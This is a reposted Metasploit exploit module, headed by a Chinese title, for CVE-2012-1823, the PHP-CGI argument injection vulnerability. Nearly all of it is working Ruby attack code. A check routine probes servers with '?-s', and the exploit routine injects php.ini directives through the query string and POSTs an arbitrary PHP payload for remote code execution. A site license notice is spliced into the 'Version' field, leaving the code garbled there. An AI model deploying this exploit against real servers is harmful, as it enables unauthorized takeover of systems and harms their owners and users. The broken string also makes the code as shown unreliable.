CVE-2012-1823 php-cgi 漏洞 metasploit 利用脚本

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
 super(update_info(info,
   'Name'     => 'PHP CGI Argument Injection',
   'Description' => %q{
  When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
  an argument injection vulnerability.  This module takes advantage of
  the -d flag to set php.ini directives to achieve code execution.
  From the advisory: "if there is NO unescaped '=' in the query string,
  the string is split on '+' (encoded space) characters, urldecoded,
  passed to a function that escapes shell metacharacters (the "encoded in
  a system-defined manner" from the RFC) and then passes them to the CGI
  binary."
   },
   'Author'   => [ 'egypt', 'hdm' ],
   'License'  => MSF_LICENSE,
   'Version'  => '$Revision声明: 本文采用 BY-NC-SA 协议进行授权. 转载请注明转自: FreebuF.COM - CVE-2012-1823 php-cgi漏洞 metasploit利用脚本,
   'References'  => [
    [ 'CVE'  , '2012-1823' ],
    [ 'OSVDB', '81633'],
    [ 'URL'  , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
  ],
   'Privileged'  => false,
   'Payload'  =>
  {
    'DisableNops' => true,
    # Arbitrary big number. The payload gets sent as an HTTP
    # response body, so really it's unlimited
    'Space'    => 262144, # 256k
  },
   'DisclosureDate' => 'May 03 2012',
   'Platform'    => 'php',
   'Arch'     => ARCH_PHP,
   'Targets'  => [[ 'Automatic', { }]],
   'DefaultTarget' => 0))

 register_options([
   OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
   ], self.class)
  end

  # php-cgi -h
  # ...
  #   -s      Display colour syntax highlighted source.
  def check
 uri = target_uri.path

 uri.gsub!(/\?.*/, "")

 print_status("Checking uri #{uri}")

 response = send_request_raw({ 'uri' => uri })

 if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
   print_error("Server responded in a way that was ambiguous, could not determine whether it was vulnerable")
   return Exploit::CheckCode::Unknown
 end

 response = send_request_raw({ 'uri' => uri + '?-s'})
 if response and response.code == 200 and response.body =~ /\<code\>\<span style.*\&lt\;\?/mi
   return Exploit::CheckCode::Vulnerable
 end

 print_error("Server responded indicating it was not vulnerable")
 return Exploit::CheckCode::Safe
  end

  def exploit
 begin
   args = [
  "-d+allow_url_include%3d#{rand_php_ini_true}",
  "-d+safe_mode%3d#{rand_php_ini_false}",
  "-d+suhosin.simulation%3d#{rand_php_ini_true}",
  "-d+disable_functions%3d%22%22",
  "-d+open_basedir%3dnone",
  "-d+auto_prepend_file%3dphp://input",
  "-n"
   ]

   qs = args.join("+")
   uri = "#{target_uri}?#{qs}"

   # Has to be all on one line, so gsub out the comments and the newlines
   payload_oneline = "<?php " + payload.encoded.gsub(/\s*#.*$/, "").gsub("\n", "")
   response = send_request_cgi( {
  'method' => "POST",
  'global' => true,
  'uri' => uri,
  'data'   => payload_oneline,
   }, 0.5)
   handler

 rescue ::Interrupt
   raise $!
 rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
   print_error("The target service unreachable")
 rescue ::OpenSSL::SSL::SSLError
   print_error("The target failed to negotiate SSL, is this really an SSL service?")
 end

  end

  def rand_php_ini_false
 Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
  end

  def rand_php_ini_true
 Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
  end

end